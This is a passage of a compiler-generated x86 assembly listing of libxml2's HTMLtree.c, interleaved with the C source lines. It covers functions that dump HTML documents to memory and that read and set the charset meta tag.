; 586 : handler = xmlFindCharEncodingHandler("ascii");
push OFFSET ??_C@_05OJENGABA@ascii@
call _xmlFindCharEncodingHandler
add esp, 4
mov DWORD PTR _handler$[ebp], eax
$LN6@htmlDocDum:
; 587 : }
; 588 :
; 589 : buf = xmlAllocOutputBufferInternal(handler);
mov eax, DWORD PTR _handler$[ebp]
push eax
call _xmlAllocOutputBufferInternal
add esp, 4
mov DWORD PTR _buf$[ebp], eax
; 590 : if (buf == NULL) {
cmp DWORD PTR _buf$[ebp], 0
jne SHORT $LN11@htmlDocDum
; 591 : *mem = NULL;
mov ecx, DWORD PTR _mem$[ebp]
mov DWORD PTR [ecx], 0
; 592 : *size = 0;
mov edx, DWORD PTR _size$[ebp]
mov DWORD PTR [edx], 0
; 593 : return;
jmp $LN1@htmlDocDum
$LN11@htmlDocDum:
; 594 : }
; 595 :
; 596 : htmlDocContentDumpFormatOutput(buf, cur, NULL, format);
mov eax, DWORD PTR _format$[ebp]
push eax
push 0
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _buf$[ebp]
push edx
call _htmlDocContentDumpFormatOutput
add esp, 16 ; 00000010H
; 597 :
; 598 : xmlOutputBufferFlush(buf);
mov eax, DWORD PTR _buf$[ebp]
push eax
call _xmlOutputBufferFlush
add esp, 4
; 599 : if (buf->conv != NULL) {
mov ecx, DWORD PTR _buf$[ebp]
cmp DWORD PTR [ecx+20], 0
je SHORT $LN12@htmlDocDum
; 600 : *size = xmlBufUse(buf->conv);
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+20]
push eax
call _xmlBufUse
add esp, 4
mov ecx, DWORD PTR _size$[ebp]
mov DWORD PTR [ecx], eax
; 601 : *mem = xmlStrndup(xmlBufContent(buf->conv), *size);
mov edx, DWORD PTR _size$[ebp]
mov eax, DWORD PTR [edx]
push eax
mov ecx, DWORD PTR _buf$[ebp]
mov edx, DWORD PTR [ecx+20]
push edx
call _xmlBufContent
add esp, 4
push eax
call _xmlStrndup
add esp, 8
mov ecx, DWORD PTR _mem$[ebp]
mov DWORD PTR [ecx], eax
; 602 : } else {
jmp SHORT $LN13@htmlDocDum
$LN12@htmlDocDum:
; 603 : *size = xmlBufUse(buf->buffer);
mov edx, DWORD PTR _buf$[ebp]
mov eax, DWORD PTR [edx+16]
push eax
call _xmlBufUse
add esp, 4
mov ecx, DWORD PTR _size$[ebp]
mov DWORD PTR [ecx], eax
; 604 : *mem = xmlStrndup(xmlBufContent(buf->buffer), *size);
mov edx, DWORD PTR _size$[ebp]
mov eax, DWORD PTR [edx]
push eax
mov ecx, DWORD PTR _buf$[ebp]
mov edx, DWORD PTR [ecx+16]
push edx
call _xmlBufContent
add esp, 4
push eax
call _xmlStrndup
add esp, 8
mov ecx, DWORD PTR _mem$[ebp]
mov DWORD PTR [ecx], eax
$LN13@htmlDocDum:
; 605 : }
; 606 : (void)xmlOutputBufferClose(buf);
mov edx, DWORD PTR _buf$[ebp]
push edx
call _xmlOutputBufferClose
add esp, 4
$LN1@htmlDocDum:
; 607 : }
add esp, 16 ; 00000010H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_htmlDocDumpMemoryFormat ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlDocDumpMemory
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_mem$ = 12 ; size = 4
_size$ = 16 ; size = 4
_htmlDocDumpMemory PROC ; COMDAT
; 619 : htmlDocDumpMemory(xmlDocPtr cur, xmlChar**mem, int *size) {
push ebp
mov ebp, esp
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 620 : htmlDocDumpMemoryFormat(cur, mem, size, 1);
push 1
mov eax, DWORD PTR _size$[ebp]
push eax
mov ecx, DWORD PTR _mem$[ebp]
push ecx
mov edx, DWORD PTR _cur$[ebp]
push edx
call _htmlDocDumpMemoryFormat
add esp, 16 ; 00000010H
; 621 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_htmlDocDumpMemory ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlSetMetaEncoding
_TEXT SEGMENT
_value$1 = -136 ; size = 4
_http$2 = -132 ; size = 4
_attr$3 = -128 ; size = 4
_newcontent$ = -120 ; size = 100
_content$ = -16 ; size = 4
_head$ = -12 ; size = 4
_meta$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_doc$ = 8 ; size = 4
_encoding$ = 12 ; size = 4
_htmlSetMetaEncoding PROC ; COMDAT
; 164 : htmlSetMetaEncoding(htmlDocPtr doc, const xmlChar *encoding) {
push ebp
mov ebp, esp
sub esp, 136 ; 00000088H
push edi
lea edi, DWORD PTR [ebp-136]
mov ecx, 34 ; 00000022H
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 165 : htmlNodePtr cur, meta = NULL, head = NULL;
mov DWORD PTR _meta$[ebp], 0
mov DWORD PTR _head$[ebp], 0
; 166 : const xmlChar *content = NULL;
mov DWORD PTR _content$[ebp], 0
; 167 : char newcontent[100];
; 168 :
; 169 : newcontent[0] = 0;
mov eax, 1
imul ecx, eax, 0
mov BYTE PTR _newcontent$[ebp+ecx], 0
; 170 :
; 171 : if (doc == NULL)
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN10@htmlSetMet
; 172 : return(-1);
or eax, -1
jmp $LN1@htmlSetMet
$LN10@htmlSetMet:
; 173 :
; 174 : /* html isn't a real encoding it's just libxml2 way to get entities */
; 175 : if (!xmlStrcasecmp(encoding, BAD_CAST "html"))
push OFFSET ??_C@_04PNIFHPHN@html@
mov edx, DWORD PTR _encoding$[ebp]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN11@htmlSetMet
; 176 : return(-1);
or eax, -1
jmp $LN1@htmlSetMet
$LN11@htmlSetMet:
; 177 :
; 178 : if (encoding != NULL) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN12@htmlSetMet
; 179 : snprintf(newcontent, sizeof(newcontent), "text/html; charset=%s",
mov eax, DWORD PTR _encoding$[ebp]
push eax
push OFFSET ??_C@_0BG@HLDJIGE@text?1html?$DL?5charset?$DN?$CFs@
push 100 ; 00000064H
lea ecx, DWORD PTR _newcontent$[ebp]
push ecx
call _snprintf
add esp, 16 ; 00000010H
; 180 : (char *)encoding);
; 181 : newcontent[sizeof(newcontent) - 1] = 0;
mov edx, 1
imul eax, edx, 99
mov BYTE PTR _newcontent$[ebp+eax], 0
$LN12@htmlSetMet:
; 182 : }
; 183 :
; 184 : cur = doc->children;
mov ecx, DWORD PTR _doc$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _cur$[ebp], edx
$LN2@htmlSetMet:
; 185 :
; 186 : /*
; 187 : * Search the html
; 188 : */
; 189 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@htmlSetMet
; 190 : if ((cur->type == XML_ELEMENT_NODE) && (cur->name != NULL)) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 1
jne SHORT $LN13@htmlSetMet
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+8], 0
je SHORT $LN13@htmlSetMet
; 191 : if (xmlStrcasecmp(cur->name, BAD_CAST"html") == 0)
push OFFSET ??_C@_04PNIFHPHN@html@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN14@htmlSetMet
; 192 : break;
jmp SHORT $LN3@htmlSetMet
$LN14@htmlSetMet:
; 193 : if (xmlStrcasecmp(cur->name, BAD_CAST"head") == 0)
push OFFSET ??_C@_04NEODDMOL@head@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN15@htmlSetMet
; 194 : goto found_head;
jmp $found_head$43
$LN15@htmlSetMet:
; 195 : if (xmlStrcasecmp(cur->name, BAD_CAST"meta") == 0)
push OFFSET ??_C@_04HLJJCGEF@meta@
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN13@htmlSetMet
; 196 : goto found_meta;
jmp $found_meta$44
$LN13@htmlSetMet:
; 197 : }
; 198 : cur = cur->next;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _cur$[ebp], eax
; 199 : }
jmp SHORT $LN2@htmlSetMet
$LN3@htmlSetMet:
; 200 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN17@htmlSetMet
; 201 : return(-1);
or eax, -1
jmp $LN1@htmlSetMet
$LN17@htmlSetMet:
; 202 : cur = cur->children;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _cur$[ebp], edx
$LN4@htmlSetMet:
; 203 :
; 204 : /*
; 205 : * Search the head
; 206 : */
; 207 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN5@htmlSetMet
; 208 : if ((cur->type == XML_ELEMENT_NODE) && (cur->name != NULL)) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 1
jne SHORT $LN18@htmlSetMet
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+8], 0
je SHORT $LN18@htmlSetMet
; 209 : if (xmlStrcasecmp(cur->name, BAD_CAST"head") == 0)
push OFFSET ??_C@_04NEODDMOL@head@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN19@htmlSetMet
; 210 : break;
jmp SHORT $LN5@htmlSetMet
$LN19@htmlSetMet:
; 211 : if (xmlStrcasecmp(cur->name, BAD_CAST"meta") == 0) {
push OFFSET ??_C@_04HLJJCGEF@meta@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN18@htmlSetMet
; 212 : head = cur->parent;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+20]
mov DWORD PTR _head$[ebp], ecx
; 213 : goto found_meta;
jmp SHORT $found_meta$44
$LN18@htmlSetMet:
; 214 : }
; 215 : }
; 216 : cur = cur->next;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _cur$[ebp], eax
; 217 : }
jmp SHORT $LN4@htmlSetMet
$LN5@htmlSetMet:
; 218 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $found_head$43
; 219 : return(-1);
or eax, -1
jmp $LN1@htmlSetMet
$found_head$43:
; 220 : found_head:
; 221 : head = cur;
mov ecx, DWORD PTR _cur$[ebp]
mov DWORD PTR _head$[ebp], ecx
; 222 : if (cur->children == NULL)
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+12], 0
jne SHORT $LN22@htmlSetMet
; 223 : goto create;
jmp $create$45
$LN22@htmlSetMet:
; 224 : cur = cur->children;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
mov DWORD PTR _cur$[ebp], ecx
$found_meta$44:
; 225 :
; 226 : found_meta:
; 227 : /*
; 228 : * Search and update all the remaining the meta elements carrying
; 229 : * encoding informations
; 230 : */
; 231 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je $create$45
; 232 : if ((cur->type == XML_ELEMENT_NODE) && (cur->name != NULL)) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 1
jne $LN23@htmlSetMet
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+8], 0
je $LN23@htmlSetMet
; 233 : if (xmlStrcasecmp(cur->name, BAD_CAST"meta") == 0) {
push OFFSET ??_C@_04HLJJCGEF@meta@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne $LN23@htmlSetMet
; 234 : xmlAttrPtr attr = cur->properties;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+44]
mov DWORD PTR _attr$3[ebp], ecx
; 235 : int http;
; 236 : const xmlChar *value;
; 237 :
; 238 : content = NULL;
mov DWORD PTR _content$[ebp], 0
; 239 : http = 0;
mov DWORD PTR _http$2[ebp], 0
$LN8@htmlSetMet:
; 240 : while (attr != NULL) {
cmp DWORD PTR _attr$3[ebp], 0
je $LN9@htmlSetMet
; 241 : if ((attr->children != NULL) &&
; 242 : (attr->children->type == XML_TEXT_NODE) &&
mov edx, DWORD PTR _attr$3[ebp]
cmp DWORD PTR [edx+12], 0
je $LN25@htmlSetMet
mov eax, DWORD PTR _attr$3[ebp]
mov ecx, DWORD PTR [eax+12]
cmp DWORD PTR [ecx+4], 3
jne $LN25@htmlSetMet
mov edx, DWORD PTR _attr$3[ebp]
mov eax, DWORD PTR [edx+12]
cmp DWORD PTR [eax+24], 0
jne $LN25@htmlSetMet
; 243 : (attr->children->next == NULL)) {
; 244 : value = attr->children->content;
mov ecx, DWORD PTR _attr$3[ebp]
mov edx, DWORD PTR [ecx+12]
mov eax, DWORD PTR [edx+40]
mov DWORD PTR _value$1[ebp], eax
; 245 : if ((!xmlStrcasecmp(attr->name, BAD_CAST"http-equiv"))
; 246 : && (!xmlStrcasecmp(value, BAD_CAST"Content-Type")))
push OFFSET ??_C@_0L@NALBGOHO@http?9equiv@
mov ecx, DWORD PTR _attr$3[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN26@htmlSetMet
push OFFSET ??_C@_0N@LAFFMKKA@Content?9Type@
mov eax, DWORD PTR _value$1[ebp]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN26@htmlSetMet
; 247 : http = 1;
mov DWORD PTR _http$2[ebp], 1
jmp SHORT $LN27@htmlSetMet
$LN26@htmlSetMet:
; 248 : else
; 249 : {
; 250 : if ((value != NULL) &&
cmp DWORD PTR _value$1[ebp], 0
je SHORT $LN27@htmlSetMet
push OFFSET ??_C@_07ICAJMOAO@content@
mov ecx, DWORD PTR _attr$3[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN27@htmlSetMet
; 251 : (!xmlStrcasecmp(attr->name, BAD_CAST"content")))
; 252 : content = value;
mov eax, DWORD PTR _value$1[ebp]
mov DWORD PTR _content$[ebp], eax
$LN27@htmlSetMet:
; 253 : }
; 254 : if ((http != 0) && (content != NULL))
cmp DWORD PTR _http$2[ebp], 0
je SHORT $LN25@htmlSetMet
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN25@htmlSetMet
; 255 : break;
jmp SHORT $LN9@htmlSetMet
$LN25@htmlSetMet:
; 256 : }
; 257 : attr = attr->next;
mov ecx, DWORD PTR _attr$3[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _attr$3[ebp], edx
; 258 : }
jmp $LN8@htmlSetMet
$LN9@htmlSetMet:
; 259 : if ((http != 0) && (content != NULL)) {
cmp DWORD PTR _http$2[ebp], 0
je SHORT $LN23@htmlSetMet
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN23@htmlSetMet
; 260 : meta = cur;
mov eax, DWORD PTR _cur$[ebp]
mov DWORD PTR _meta$[ebp], eax
; 261 : break;
jmp SHORT $create$45
$LN23@htmlSetMet:
; 262 : }
; 263 :
; 264 : }
; 265 : }
; 266 : cur = cur->next;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$[ebp], edx
; 267 : }
jmp $found_meta$44
$create$45:
; 268 : create:
; 269 : if (meta == NULL) {
cmp DWORD PTR _meta$[ebp], 0
jne SHORT $LN31@htmlSetMet
; 270 : if ((encoding != NULL) && (head != NULL)) {
cmp DWORD PTR _encoding$[ebp], 0
je SHORT $LN33@htmlSetMet
cmp DWORD PTR _head$[ebp], 0
je SHORT $LN33@htmlSetMet
; 271 : /*
; 272 : * Create a new Meta element with the right attributes
; 273 : */
; 274 :
; 275 : meta = xmlNewDocNode(doc, NULL, BAD_CAST"meta", NULL);
push 0
push OFFSET ??_C@_04HLJJCGEF@meta@
push 0
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlNewDocNode
add esp, 16 ; 00000010H
mov DWORD PTR _meta$[ebp], eax
; 276 : if (head->children == NULL)
mov ecx, DWORD PTR _head$[ebp]
cmp DWORD PTR [ecx+12], 0
jne SHORT $LN34@htmlSetMet
; 277 : xmlAddChild(head, meta);
mov edx, DWORD PTR _meta$[ebp]
push edx
mov eax, DWORD PTR _head$[ebp]
push eax
call _xmlAddChild
add esp, 8
jmp SHORT $LN35@htmlSetMet
$LN34@htmlSetMet:
; 278 : else
; 279 : xmlAddPrevSibling(head->children, meta);
mov ecx, DWORD PTR _meta$[ebp]
push ecx
mov edx, DWORD PTR _head$[ebp]
mov eax, DWORD PTR [edx+12]
push eax
call _xmlAddPrevSibling
add esp, 8
$LN35@htmlSetMet:
; 280 : xmlNewProp(meta, BAD_CAST"http-equiv", BAD_CAST"Content-Type");
push OFFSET ??_C@_0N@LAFFMKKA@Content?9Type@
push OFFSET ??_C@_0L@NALBGOHO@http?9equiv@
mov ecx, DWORD PTR _meta$[ebp]
push ecx
call _xmlNewProp
add esp, 12 ; 0000000cH
; 281 : xmlNewProp(meta, BAD_CAST"content", BAD_CAST newcontent);
lea edx, DWORD PTR _newcontent$[ebp]
push edx
push OFFSET ??_C@_07ICAJMOAO@content@
mov eax, DWORD PTR _meta$[ebp]
push eax
call _xmlNewProp
add esp, 12 ; 0000000cH
$LN33@htmlSetMet:
; 282 : }
; 283 : } else {
jmp SHORT $LN32@htmlSetMet
$LN31@htmlSetMet:
; 284 : /* remove the meta tag if NULL is passed */
; 285 : if (encoding == NULL) {
cmp DWORD PTR _encoding$[ebp], 0
jne SHORT $LN36@htmlSetMet
; 286 : xmlUnlinkNode(meta);
mov ecx, DWORD PTR _meta$[ebp]
push ecx
call _xmlUnlinkNode
add esp, 4
; 287 : xmlFreeNode(meta);
mov edx, DWORD PTR _meta$[ebp]
push edx
call _xmlFreeNode
add esp, 4
; 288 : }
jmp SHORT $LN32@htmlSetMet
$LN36@htmlSetMet:
; 289 : /* change the document only if there is a real encoding change */
; 290 : else if (xmlStrcasestr(content, encoding) == NULL) {
mov eax, DWORD PTR _encoding$[ebp]
push eax
mov ecx, DWORD PTR _content$[ebp]
push ecx
call _xmlStrcasestr
add esp, 8
test eax, eax
jne SHORT $LN32@htmlSetMet
; 291 : xmlSetProp(meta, BAD_CAST"content", BAD_CAST newcontent);
lea edx, DWORD PTR _newcontent$[ebp]
push edx
push OFFSET ??_C@_07ICAJMOAO@content@
mov eax, DWORD PTR _meta$[ebp]
push eax
call _xmlSetProp
add esp, 12 ; 0000000cH
$LN32@htmlSetMet:
; 292 : }
; 293 : }
; 294 :
; 295 :
; 296 : return(0);
xor eax, eax
$LN1@htmlSetMet:
; 297 : }
push edx
mov ecx, ebp
push eax
lea edx, DWORD PTR $LN42@htmlSetMet
call @_RTC_CheckStackVars@8
pop eax
pop edx
pop edi
add esp, 136 ; 00000088H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
$LN42@htmlSetMet:
DD 1
DD $LN41@htmlSetMet
$LN41@htmlSetMet:
DD -120 ; ffffff88H
DD 100 ; 00000064H
DD $LN40@htmlSetMet
$LN40@htmlSetMet:
DB 110 ; 0000006eH
DB 101 ; 00000065H
DB 119 ; 00000077H
DB 99 ; 00000063H
DB 111 ; 0000006fH
DB 110 ; 0000006eH
DB 116 ; 00000074H
DB 101 ; 00000065H
DB 110 ; 0000006eH
DB 116 ; 00000074H
DB 0
_htmlSetMetaEncoding ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\htmltree.c
; COMDAT _htmlGetMetaEncoding
_TEXT SEGMENT
_value$1 = -24 ; size = 4
_http$2 = -20 ; size = 4
_attr$3 = -16 ; size = 4
_encoding$ = -12 ; size = 4
_content$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_doc$ = 8 ; size = 4
_htmlGetMetaEncoding PROC ; COMDAT
; 50 : htmlGetMetaEncoding(htmlDocPtr doc) {
push ebp
mov ebp, esp
sub esp, 24 ; 00000018H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-24], eax
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __E0C87F61_htmltree@c
call @__CheckForDebuggerJustMyCode@4
; 51 : htmlNodePtr cur;
; 52 : const xmlChar *content;
; 53 : const xmlChar *encoding;
; 54 :
; 55 : if (doc == NULL)
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN12@htmlGetMet
; 56 : return(NULL);
xor eax, eax
jmp $LN1@htmlGetMet
$LN12@htmlGetMet:
; 57 : cur = doc->children;
mov eax, DWORD PTR _doc$[ebp]
mov ecx, DWORD PTR [eax+12]
mov DWORD PTR _cur$[ebp], ecx
$LN2@htmlGetMet:
; 58 :
; 59 : /*
; 60 : * Search the html
; 61 : */
; 62 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@htmlGetMet
; 63 : if ((cur->type == XML_ELEMENT_NODE) && (cur->name != NULL)) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 1
jne SHORT $LN13@htmlGetMet
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+8], 0
je SHORT $LN13@htmlGetMet
; 64 : if (xmlStrEqual(cur->name, BAD_CAST"html"))
push OFFSET ??_C@_04PNIFHPHN@html@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN14@htmlGetMet
; 65 : break;
jmp SHORT $LN3@htmlGetMet
$LN14@htmlGetMet:
; 66 : if (xmlStrEqual(cur->name, BAD_CAST"head"))
push OFFSET ??_C@_04NEODDMOL@head@
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN15@htmlGetMet
; 67 : goto found_head;
jmp $found_head$39
$LN15@htmlGetMet:
; 68 : if (xmlStrEqual(cur->name, BAD_CAST"meta"))
push OFFSET ??_C@_04HLJJCGEF@meta@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN13@htmlGetMet
; 69 : goto found_meta;
jmp $found_meta$40
$LN13@htmlGetMet:
; 70 : }
; 71 : cur = cur->next;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$[ebp], edx
; 72 : }
jmp SHORT $LN2@htmlGetMet
$LN3@htmlGetMet:
; 73 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN17@htmlGetMet
; 74 : return(NULL);
xor eax, eax
jmp $LN1@htmlGetMet
$LN17@htmlGetMet:
; 75 : cur = cur->children;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
mov DWORD PTR _cur$[ebp], ecx
$LN4@htmlGetMet:
; 76 :
; 77 : /*
; 78 : * Search the head
; 79 : */
; 80 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN5@htmlGetMet
; 81 : if ((cur->type == XML_ELEMENT_NODE) && (cur->name != NULL)) {
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 1
jne SHORT $LN18@htmlGetMet
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+8], 0
je SHORT $LN18@htmlGetMet
; 82 : if (xmlStrEqual(cur->name, BAD_CAST"head"))
push OFFSET ??_C@_04NEODDMOL@head@
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN19@htmlGetMet
; 83 : break;
jmp SHORT $LN5@htmlGetMet
$LN19@htmlGetMet:
; 84 : if (xmlStrEqual(cur->name, BAD_CAST"meta"))
push OFFSET ??_C@_04HLJJCGEF@meta@
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN18@htmlGetMet
; 85 : goto found_meta;
jmp SHORT $found_meta$40
$LN18@htmlGetMet:
; 86 : }
; 87 : cur = cur->next;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _cur$[ebp], eax
; 88 : }
jmp SHORT $LN4@htmlGetMet
$LN5@htmlGetMet:
; 89 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $found_head$39
; 90 : return(NULL);
xor eax, eax
jmp $LN1@htmlGetMet
$found_head$39:
; 91 : found_head:
; 92 : cur = cur->children;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _cur$[ebp], edx
$found_meta$40:
; 93 :
; 94 : /*
; 95 : * Search the meta elements
; 96 : */
; 97 : found_meta:
; 98 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je $LN7@htmlGetMet
; 99 : if ((cur->type == XML_ELEMENT_NODE) && (cur->name != NULL)) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 1
jne $LN22@htmlGetMet
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+8], 0
je $LN22@htmlGetMet
; 100 : if (xmlStrEqual(cur->name, BAD_CAST"meta")) {
push OFFSET ??_C@_04HLJJCGEF@meta@
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN22@htmlGetMet
; 101 : xmlAttrPtr attr = cur->properties;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+44]
mov DWORD PTR _attr$3[ebp], edx
; 102 : int http;
; 103 : const xmlChar *value;
; 104 :
; 105 : content = NULL;
mov DWORD PTR _content$[ebp], 0
; 106 : http = 0;
mov DWORD PTR _http$2[ebp], 0
$LN8@htmlGetMet:
; 107 : while (attr != NULL) {
cmp DWORD PTR _attr$3[ebp], 0
je $LN22@htmlGetMet
; 108 : if ((attr->children != NULL) &&
; 109 : (attr->children->type == XML_TEXT_NODE) &&
mov eax, DWORD PTR _attr$3[ebp]
cmp DWORD PTR [eax+12], 0
je $LN24@htmlGetMet
mov ecx, DWORD PTR _attr$3[ebp]
mov edx, DWORD PTR [ecx+12]
cmp DWORD PTR [edx+4], 3
jne $LN24@htmlGetMet
mov eax, DWORD PTR _attr$3[ebp]
mov ecx, DWORD PTR [eax+12]
cmp DWORD PTR [ecx+24], 0
jne SHORT $LN24@htmlGetMet
; 110 : (attr->children->next == NULL)) {
; 111 : value = attr->children->content;
mov edx, DWORD PTR _attr$3[ebp]
mov eax, DWORD PTR [edx+12]
mov ecx, DWORD PTR [eax+40]
mov DWORD PTR _value$1[ebp], ecx
; 112 : if ((!xmlStrcasecmp(attr->name, BAD_CAST"http-equiv"))
; 113 : && (!xmlStrcasecmp(value, BAD_CAST"Content-Type")))
push OFFSET ??_C@_0L@NALBGOHO@http?9equiv@
mov edx, DWORD PTR _attr$3[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN25@htmlGetMet
push OFFSET ??_C@_0N@LAFFMKKA@Content?9Type@
mov ecx, DWORD PTR _value$1[ebp]
push ecx
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN25@htmlGetMet
; 114 : http = 1;
mov DWORD PTR _http$2[ebp], 1
jmp SHORT $LN26@htmlGetMet
$LN25@htmlGetMet:
; 115 : else if ((value != NULL)
; 116 : && (!xmlStrcasecmp(attr->name, BAD_CAST"content")))
cmp DWORD PTR _value$1[ebp], 0
je SHORT $LN26@htmlGetMet
push OFFSET ??_C@_07ICAJMOAO@content@
mov edx, DWORD PTR _attr$3[ebp]
mov eax, DWORD PTR [edx+8]
push eax
call _xmlStrcasecmp
add esp, 8
test eax, eax
jne SHORT $LN26@htmlGetMet
; 117 : content = value;
mov ecx, DWORD PTR _value$1[ebp]
mov DWORD PTR _content$[ebp], ecx
$LN26@htmlGetMet:
; 118 : if ((http != 0) && (content != NULL))
cmp DWORD PTR _http$2[ebp], 0
je SHORT $LN24@htmlGetMet
cmp DWORD PTR _content$[ebp], 0
je SHORT $LN24@htmlGetMet
; 119 : goto found_content;
jmp SHORT $found_content$41
$LN24@htmlGetMet:
; 120 : }
